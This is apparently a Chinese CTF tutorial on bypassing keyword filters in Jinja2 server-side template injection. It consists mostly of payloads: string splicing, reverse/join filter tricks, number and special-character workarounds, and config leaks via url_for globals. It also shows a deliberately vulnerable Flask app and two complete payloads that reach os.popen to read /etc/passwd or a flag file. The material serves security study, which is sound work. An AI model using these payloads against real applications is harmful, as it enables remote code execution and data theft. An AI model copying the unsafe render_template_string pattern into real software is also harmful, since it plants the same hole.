1 2 3 4 5 {{ ().__class__.__base__ }} {% set  a='__cla'  %}{% set  b='ss__'  %}{% set  c='__ba'  %}{% set  d='se__'  %} {{ ()[a~b][c~d] }} 
 
使用 getattribute() + 字符串拼接绕过 
 
1 2 3 4 5 6 {{ [].__class__.__base__.__subclasses__()[117 ].__init__.__getattribute__('__glo' +'bals__' ) }} {{ [].__class__.__base__.__subclasses__()[117 ].__init__.__getattribute__('__glo' +'bals__' ) }} 
 
过滤器 reverse 绕过 使用过滤器绕过,比如使用 reverse 反转字符串的过滤器:
1 2 3 4 5 {{ ().__class__.__base__ }} {% set  a = "__ssalc__" |reverse %} {% set  b = "__esab__" |reverse %} {{ ()[a][b] }} 
 
过滤器 join 绕过 1 2 3 4 {{ ().__class__.__base__ }} {% set  a=dict (__cl=1 , ass__=2 )|join %} {% set  b=dict (__ba=1 , se__=2 )|join %} {{ ()[a][b] }} 
 
数字过滤 当数字被过滤时,可以使用过滤器 length 计算字符串的长度
1 2 3 4 5 ().__class__.__base__.__subclasses__()[117 ] {% set  a='aaa' |length * 39  %} {{ a }} {{ ().__class__.__base__.__subclasses__()[a] }} 
 
config 过滤 有些时候 FLAG 放在 Flask 配置当中,故而我们就需要调用 config 文件的内容,但是如果这个时候 config 被过滤了,我们又该何去何从?
1 2 3 4 5 6 7 8 {{ config }} {{ url_for.__globals__['current_app' ].config }} {{ get_flashed_messages.__globals__['current_app' ].config }} 
 
特殊字符过滤 1 2 3 4 5 6 7 8 9 10 11 12 13 {% set  a=(lipsum|string|list ) %}{{a}} {% set  a=(lipsum|string|list ) %}{{a[0 ]}} {% set  a=(lipsum|string|list ) %}{{a[9 ]}} {% set  a=(lipsum|string|list ) %}{{a[18 ]}} 
 
1 2 3 4 5 {{ ().__class__ }} {{ ()|attr(request.form.f|format (request.form.a,request.form.a,request.form.a,request.form.a)) }}&f=%s%sclass%s%s&a=_ 
 
混合过滤-1 题目源码: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from  flask import  Flask, render_template, render_template_string, requestapp = Flask(__name__) @app.route("/"  ) def  index ():    if  not  request.args.get("name" ):         return  open (__file__).read()     name = request.args.get("name" )     for  evil in  ['.' , '[' , '__class__' , '__subclasses__' , '__globals__' ]:         if  evil in  name:             return  "evlil: "  + evil         template = """          <!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8" />     <title>title</title> <body>     <p> Hello, %s </p> </body> </head> </html>         """  %(name)    return  render_template_string(template) if  __name__ == '__main__' :    app.run(host="0.0.0.0" , port=80 , debug=False ) 
 
过滤了: .、[、__class__、__subclasses__、__globals__
PAYLOAD 如下: 
1 {{ x1ong|attr("__cla"  + "ss__" )|attr("__ba"  + "se__" )|attr("__subcla"  + "sses__" )()|attr("__getitem__" )(133 )|attr("__init__" )|attr("__glo"  + "bals__" )|attr("__getitem__" )("__builtins__" )|attr("__getitem__" )("__import__" )("os" )|attr("popen" )("cat /etc/passwd" )|attr("read" )()}} 
 
混合过滤-2 过滤内容: ', ", +, request, ., [, ]
PAYLAOD 如下:
1 2 3 4 5 6 7 8 9 10 11 {% set  cl=dict (__class__=a)|join %}  {% set  ba=dict (__base__=a)|join %} {% set  sub=dict (__subclasses__=a)|join %} {% set  get=dict (__getitem__=a)|join %} {% set  init1=dict (__init__=a)|join %} {% set  gl=dict (__globals__=a)|join %} {% set  po=dict (popen=a)|join %} {% set  space=(lipsum|string|list )|attr(get)(9 ) %} {% set  cat=(dict (cat=a)|join,space,dict (flag=a)|join)|join %} {% set  re=dict (read=a)|join %} {{ ()|attr(cl)|attr(ba)|attr(sub)()|attr(get)(117 )|attr(init1)|attr(gl)|attr(get)(po)(cat)|attr(re)()}}